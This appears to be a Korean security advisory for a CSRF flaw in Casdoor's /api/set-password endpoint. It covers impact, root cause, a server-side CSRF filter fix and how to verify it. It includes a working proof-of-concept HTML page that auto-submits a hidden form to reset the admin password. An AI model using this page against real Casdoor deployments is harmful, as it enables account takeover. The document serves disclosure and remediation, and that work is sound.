
요약
/api/set-password의 CSRF.영향
built-in/admin)를 변경할 수 있어 계정 탈취로 이어질 수 있습니다.공격 전제 조건
casdoor_session_id 쿠키를 보유하고 있어야 합니다./api/set-password로 POST를 자동 제출하는 악성 페이지를 방문해야 합니다.개념 증명
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
근본 원인
/api/* 아래의 상태 변경 엔드포인트는 동일 출처 검사(Origin/Referer) 또는 CSRF 토큰을 적용하지 않고 쿠키 인증 요청을 수락합니다.수정 개요
/api/* 아래의 사이트 간 쿠키 기반 POST/PUT/DELETE/PATCH 요청을 거부합니다.Authorization, Basic 인증, 클라이언트 자격 증명 또는 accessToken)을 포함하는 요청 또는 브라우저 세션 쿠키가 없는 요청(일반적인 서버 간 호출)은 허용합니다.구현
csrf_filter.go에 구현된 routers.CSRFFilter를 사용합니다. 이 필터는:
Casdoor에 통합하는 방법
csrf_filter.go를 Casdoor 프로젝트의 기존 routers 패키지로 복사합니다. 이 파일의 어떤 것도 수정하거나 삭제하지 마십시오.main 내부) 초기에 필터를 등록합니다:
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
검증
Unauthorized operation으로 거부되고 서버는 CSRF check failed를 로그로 기록해야 합니다.Authorization 헤더 또는 accessToken 매개변수를 포함하는 교차 출처 API 호출은 계속 작동해야 합니다.저장소 파일
csrf_filter.go: Casdoor의 routers 패키지로 복사할 CSRF 필터.poc.html: CSRF 공격을 재현하는 최소 페이지.README.md: 취약점 및 수정 단계를 설명하는 이 문서.참고 자료
비디오